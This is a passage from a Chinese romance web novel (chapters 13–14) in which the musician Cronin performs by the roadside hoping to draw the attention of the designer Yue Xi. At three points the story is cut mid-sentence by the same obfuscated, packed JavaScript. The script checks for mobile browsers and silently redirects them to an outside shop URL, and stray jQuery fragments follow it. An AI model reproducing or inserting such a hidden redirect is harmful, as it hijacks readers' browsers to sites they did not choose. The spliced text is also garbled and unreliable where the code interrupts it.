“的确是这么回事。”越溪依旧笑着,连语气都是客气的,“那边的生意现在是我作主,你什么时候来光顾,一定给最大的优惠。”
余珍珍脸上的笑挂不住了。
呸呸呸,谁没事会去光顾殡仪馆的生意啊,这跟咒她有什么区别!
偏偏是她自己先提的。
她只能随意敷衍几句,匆匆离去。
唐清雅看着她败退的身影,又忍不住“啧”了一声,“你说她怎么想的?明知道说不过你,还屡败屡战。”
越溪脸上的笑意已经完全收起,端起酒杯喝了一口,没接唐清雅的话。
唐清雅知道她心情估计也不会很好,但既然提了这个话头,她也就道,“你知不知道,前几天网上还有人带节奏,说你江郎才尽了,看余珍珍这样子,这事就算不是她做的,她八成也在后面推波助澜了。”
越溪还是没说什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353048|199640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
唐清雅见她神色淡淡的,也觉得有些没意思,但还是说,“不过你的粉丝跟人掐了一天一夜,大获全胜。说真的,越溪,你就打算这么放弃吗?”
“不然呢?”
“这可是你好不容易才打下来的江山,就这么放弃可惜了。”唐清雅劝道,“其实就算继承家业,也不影响你继续设计珠宝首饰啊,就当是兼职、爱好,以你现在的江湖地位,不用太多,一年出一两款就够了,也能维持热度。”
“跟继承家业没关系。”越溪下意识地拿起手机,解锁屏幕,看了一眼,又重新放下,“我只是突然发现,我在这方面没什么天赋。”
“你还没天赋?”唐清雅怪叫一声,“那你让我等凡人怎么活?”
“你知道我在说什么。”越溪放下酒杯,轻声说。
唐清雅叹了一口气。
别人不知道越溪,她还不知道吗?这人是个完美主义者,做任何事情都要力争做到最好,从小到大都是如此。这样一个人,她对“天赋”的定义,自然也跟其他人不同。
其实一两年前,越溪就隐约地跟她透露过,感觉自己已经到了瓶颈。
或许有人完全不在意这些,只要作品还能卖得出去就满意了,也或许有人愿意花费一生的时间去雕琢作品,努力尝试突破瓶颈,成就自己。
但那些都不是越溪的路。
做不到最好,她就宁愿不做。
“好,不说这些了。”唐清雅道,“我只是想问问你,下个月的海城珠宝展要不要去?你上次不是说对绿宝石感兴趣,这次有不少好货,可以去现场看一看。”
她说着取出一本展品册,放到越溪面前。
越溪扫了一眼,没有伸手去拿。
唐清雅果然没有再提这些,又说了一些八卦和闲话,见时间不早了,才起身告辞。
等她离开了,越溪才伸手拿起那本展品册,慢慢翻看。
唐清雅特意过来跟她说这个,是因为这次的展品确实有不少好东西,越溪又翻过一页,手上的动作忽然停了下来。
这一页的展品只有一样,高清照片里,是两粒晶莹剔透的绿宝石,那绿色并不闪亮,既轻且柔,似乎将森林与湖泊的颜色都融入其中。
恰似一双美丽动人的眼眸。
13. 第013章 有福同享
又是一个晴天。
克罗宁被生物钟叫醒时,眼睛还有些睁不开。
昨天回来之后,她就一直在想越溪为什么会知道她的住处,于是捧着手机纠结到半夜,却还是想不出该怎么问,翻来覆去,好不容易睡着了,也没睡踏实。
不过等她端着杯子在院子里漱口时,吹着风、晒着太阳,又觉得这个问题好像也没那么重要了。
不管越溪是怎么知道的,总之她就是知道。
如果是心思重的人,知道这事,不免会往坏处想,越溪明知道她住在哪里,却没有露面,显然是在躲避,是不愿意跟她牵扯上关系。
但克罗宁比较想得开,认为这说明了越溪也在关注她。
于是昨天心底才滋生出来的那些阴霾,就在日光里消逝无宗了,等到刷完牙,克罗宁心里已经有了主意。
晨跑结束,她就换了衣服出门,直奔琴行。
要说这一带她比较熟悉的,除了菜市场就是这里了,每次经过都会忍不住进来看看,并迅速跟老板熟悉起来。
所以看到她,老板坐在柜台后面,压根没起身,只是笑着招呼道,“今天怎么这么早?”
“我想买一支唢呐。”克罗宁说。
老板怀疑自己听错了,“你要买什么?”
“唢呐。”
老板坐直了身体,看了她一会儿,居然也没问她怎么会突发奇想,而是直接起身给她拿了一支,“试试。”
这种乐器上手难度比大,主要是考验肺活量,克罗宁很快就鼓着腮帮子,吹得有模有样了。
老板在一旁边看边笑,终于还是忍不住说,“这个不适合你的气质。”
克罗宁长得好看,而且修眉深目的欧式长相,对中国人来说,既有一点不可避免的距离感,又有因距离而生的高级感,而唢呐,虽然近些年来成了网红,不少年轻人都感兴趣,但跟克罗宁冷艳的气质还是很不搭。
如果是自己玩票,那当然怎样都可以,什么都能试试,但克罗宁是要开班教学的,老师就怕她误入歧途。
“唔……”克罗宁果然迟疑起来。
她本来是想,看越溪的态度,虽然加上了好友,但网络聊天估计也很难有什么进展,更多的是一种保底,避免越溪像上次那样突然消失,连人都找不到。
想要关系破冰,需要的是面对面的相处、沟通。
越溪既然能进殡仪馆的员工通道,那应该不会只去一次,那继续去殡仪馆蹲点,说不定就能再见到她。
但就这么直愣愣地跑过去守着,显得有点傻,也容易给人压力。
所以她打算买一支唢呐,混进演奏队伍之中。
当然了,她对这种没有见过的乐器,也确实有一些好奇和兴趣。
不过经老板这一提醒,克罗宁也觉得有些不合适。
毕竟她是想要吸引越溪的注意力,而不是给她制造笑料——虽说能让越溪笑一笑也很好,但那完全可以放在以后,两人更进一步、单独相处的时候,当下她还是希望自己在越溪眼里有足够的魅力。
那唢呐就不合适了。
不过她最后还是买了一支,打算先私下练一练。
带着唢呐回到小院,克罗宁很快调整了计划——既然只是想让越溪看到她,那其实也并不一定非得去殡仪馆,毕竟去公墓的路就这么一条,越溪必须要从小院旁边。
越溪知道她的住处,也从另一方面佐证了这一点。
既然如此,不如就将表演舞台搬到家门口。
回到家,克罗宁就立刻忙碌了起来,打算在院子外面搭一个台子。
上回修整房屋的时候,买的材料还剩下不少,没用过的都退了,但还有些边角料暂时堆放在了杂物间里,本来是留着冬天生火取暖的,现在倒是正好用上。
她进进出出地忙碌着,路边又没什么遮挡,很快就有邻居过来围观了。
听说她是要将练琴和上课的地点放在这里,众人想了想,似乎也挺不错。
本来路边尘土大,是不太适合这么干的,但克罗宁家门口刚好有一条不宽的河流,可以阻挡飞尘,却挡不住视线,反而恰到好处——不知什么时候会路过的越溪能看到,这些邻居自然也能来看热闹。
说实话,他们在孩子的教育上花了不少钱,但能亲眼看到教学过程的还是头一回,而且又是音乐课,还是外国人教的,就更有意思了。
所以说着说着,就有邻居挽起袖子上前帮忙。
人多力量大,没一会儿台子就搭好了。
从第二天起,克罗宁早晚都会在这里练一个小时的琴,有课的日子——主要是周末,只要天气好,她也会将课堂搬到这里来。
一切都很顺利,唯一的问题是,来来往往的车辆中,她没有看到越溪的那一辆。
好在如今的克罗宁,有足够的耐心。
知道越溪就在这里,跟自己生活在同一座城市,她心里就有一种安定感,并不急着一定要立刻有什么突破。
不过越溪大概也没想到,越溪没有被吸引过来,倒是她练琴和上课的场景被人拍下来发到网上,莫名其妙就火了。
……
越溪洗完澡出来,才看到唐清雅给自己发了二十几条视频。
她没拉上去看,直接回了一个问号。
唐清雅:我求你一定要看,人间极品,会演奏乐器的人也太有魅力了!
唐清雅:【链接】x5
越溪看到这一长串的分享,就忍不住有些头疼,但毕竟唐清雅发了那么多,她也不能视而不见,就随手点进了其中一个。
但等视频加载出来,开始播放,她擦头发的动作就顿住了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353049|199640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>克罗宁最近天天都在外面练琴,越溪当然不会不知道,甚至她也能猜到对方这样做的动机。
她们是因为演奏乐器而结缘的,所以在巴塞尔的时候,克罗宁也时常会为她弹唱,每一次都能得到她真心实意的赞赏,以及随之而来的,情不自禁的亲密。
事实上,越溪第一次对克罗宁心动,就是因为对方为她唱了一支歌。
《Far Away From Home》——说不清楚在那一瞬间,打动她的究竟是这首歌的歌词,还是克罗宁全情投入的弹唱,亦或是她看过来的时绿眼睛里几乎要满溢而出的喜悦。
会演奏乐器、会唱歌的人实在太有魅力了,这一点越溪的确深有体会。
不知不觉间,她将五个视频都看完了,直到往下拉时没有看到新的链接,才回过神来,心底还有些怅然若失。
现场看是一种感受,在屏幕上看又是另一种感受。
毕竟在现场的时候,每一次注目都能得到表演者的反馈,固然能令人更加沉浸其中,却也不免会忽视一些细节,反倒是隔着屏幕,没有了另一个人的视线干扰,可以看得更细致。
放下手机,将头发擦干了,越溪才重新拿起来,点进聊天框,发现唐清雅又发了十几条。
最后一条是这样的。
唐清雅:要是我上学的时候,音乐老师是这样的,说不定我现在也是个小有成就的小提琴手呢?
越溪:……
唐清雅:视频看完了吗?是不是立刻就沦陷了(偷笑.jpg
她是在开玩笑,但越溪看到沦陷两个字,指尖不由蜷缩了一下。
唐清雅:我看视频里说她每天都会练习,要不咱们也去现场看一下?趁现在热度不算太高,赶过去打卡的人还不多,不然以后想看都没得看了。
越溪:没空,要去你自己去。
下一瞬,唐清雅打来了视频电话,越溪想都没想,直接点了挂断,然而那一头是个比她更执着的人,来回拉扯了四五轮,越溪最终还是接了。
一接通,唐清雅的话就噼里啪啦砸了过来,“去吧去吧,你前阵子不是挺喜欢去酒吧看人弹琴、听人唱歌的吗?这个不比酒吧里的那些驻场强?”
越溪再次拒绝了。
然而第二天,唐清雅直接杀到了殡仪馆这边,非要拉着她一起去看。
越溪无奈,“你来的路上不是从那里经过了吗?下车自己去看就是了,非要来叫我,是什么毛病?”
“嘿!你这话我就不爱听了。”唐清雅不赞同地道,“我这叫有福同享,那是把你当亲姐妹呢,懂不懂?”
越溪并不想懂。
但还是被唐清雅拉过去了。
到了车库,看到她的车,唐清雅有些惊讶,“你怎么换车了?”
“……那辆送去检修了。”
14. 第014章 情诗
来看克罗宁练习的人越来越多了,而且大都是陌生人,年纪也都不大。
这种场面克罗宁倒是挺习惯的,街头表演的时候差不多也是这样,而且人虽然多,却并不吵闹,音乐声一响起,大部分人都会安静下来。
但是这两天,情况显然有些不同。
来的人更多了不说,大部分人还都带着拍摄设备,而且时不时就有人大呼小叫,已经有点影响到她了。
眼看来了那么多人,自己真正想吸引的人却始终没有出现,克罗宁已经在考虑是不是要换一种方式。
这时,她想吸引的人正在找地方停车。
来凑热闹的人不少都开了车,能停的地方都停满了,不像刚开始的时候,随便把车停在路边,车窗降下,就是最佳观赏位。
停好车,两人又走了一段路,才挤进了人群中。
远看就知道人多,但离得近了,才发现居然这么多。越溪不由得微微皱眉,对唐清雅道,“人太多了,你去提醒一下这里的主人,问问要不要报警。”
唐清雅一愣,很快就反应过来。
这里既是路边,也是河边,聚集了这么多人,很容易出事。
不过她还是有些不解,“我们直接报警不就行了?”
“她自己打电话算是报备,我们打就是举报了。”
唐清雅不由得看了她一眼,“行,那我们一起去?你还真别说,这确实是个搭话的好理由。”
“……”越溪随便找了个借口,“你去吧,我不想跟人挤来挤去。”
唐清雅看了一眼拥挤的人群,也觉得让越溪进去挤,好像是有点太不优雅了,便道,“行吧,我去。”
在这种人多的地方,她也确实如鱼得水,没一会儿就过了桥,挤到最前面,找机会跟克罗宁搭上了话。
克罗宁还真没想到这方面,爱尔兰地广人稀,即便是都柏林这样的国际化大都市,人口也不过一百多万,很少会有这样的需求。
不过她本来就觉得人太多了,所以唐清雅一说,她也不觉得是危言耸听,立刻掏出手机打电话。
唐清雅好不容易挤到前面,本来有点舍不得这个好位置,但想到越溪是自己拉来的,不好把人丢在外面,只好又艰难地挤了出去。
克罗宁打着电话,视线却不自觉地跟随着她移动,本意只是想记住这个人,回头找机会道谢,没想到居然有了意外的收获。
虽然隔着人海,距离也很远,但克罗宁还是一眼就认出了越溪。
她终究还是来了。
原本打完电话,克罗宁就打算暂时结束今天的练习,但是好不容易看到越溪,她舍不得错过这个机会。
这时,唐清雅也正在跟越溪夸克罗宁,“近看更漂亮了,欧美人的长相实在太犯规了,金发碧眼,这谁挡得住?”
越溪听得有些心不在焉。
克罗宁的视线一直停留在这个方向,不确定是不是看到了她。
按理说离得那么远,再好的视力也看不清,但……
“没想到这老外中文说得还挺溜的。”唐清雅又说,“虽然有点口音,但非常流利,不知道学了多久。”
越溪头点到一半,忽然意识到她说了什么,动作一顿,不由得抬头看去。
至少在巴塞尔的时候,克罗宁是不会说中文的,也就是跟她学了几句你好、谢谢、再见。
上次见面的时候,因为她先说了英语,所以后续两人的交流也一直都是用英语,所以越溪还真不知道克罗宁学了中文。
但好像也不是那么意外,克罗宁既然来了中国,而且能这么快安顿下来,过得有声有色,想必做了不少准备,语言自然也是其中之一。
只是越溪想到那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353050|199640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个过程,不免心情复杂。
忽然,前方传来的音乐声中,又多了一道歌声。
越溪就知道,克罗宁一定是看到她了,于是匆忙收回视线,不敢再看。
“她唱的这是英语吗?”一旁的唐清雅有些不确定地问,“我怎么感觉有点听不懂,但偶尔又会有一两个词能听懂。”
越溪正好注意力有点无处安放,干脆就转头对她道,“是英语。不过爱尔兰民谣的风格就是这样的,转音一个接一个,重音也跟平常说的英语不一样,再加上她还有一点爱尔兰口音,听不懂也正常。”
唐清雅略有些惊奇地看向越溪。
但不等她开口,就听旁边有人问,“哇,小姐姐好懂,那她唱的这是什么歌啊?”
“《The salley gardens》,中文翻译是《柳园里》或者《莎莉花园》。”越溪微微有些出神,“是叶芝的情诗。”
“叶芝?就是那个写《当你老了》的叶芝吗?”
“对,他是英裔爱尔兰人。”
“噫,神仙联动啊这是!”旁边的人立刻拿出手机搜索歌名,艰难地对照歌词,一边请教越溪,“现在唱到哪里了?”
越溪便跟随着耳畔的歌声,念出了歌词,“She bid me take love easy as the leaves grow on the tree。”
——她嘱咐我要爱得轻松,如同新叶在枝头萌发。
但这世上哪里会有真正轻松简单的事呢?
诗歌里的“我”年少无知,未能领回其中真意,但等他长大成熟,真正了悟一切,就更不可能做到了。
爱本身或许是这样的,只要一点点雨露的浇灌,便能自然地萌发,但除了爱,世界上还有太多的东西,它们全都束缚着这支新芽,让它无法肆意生长。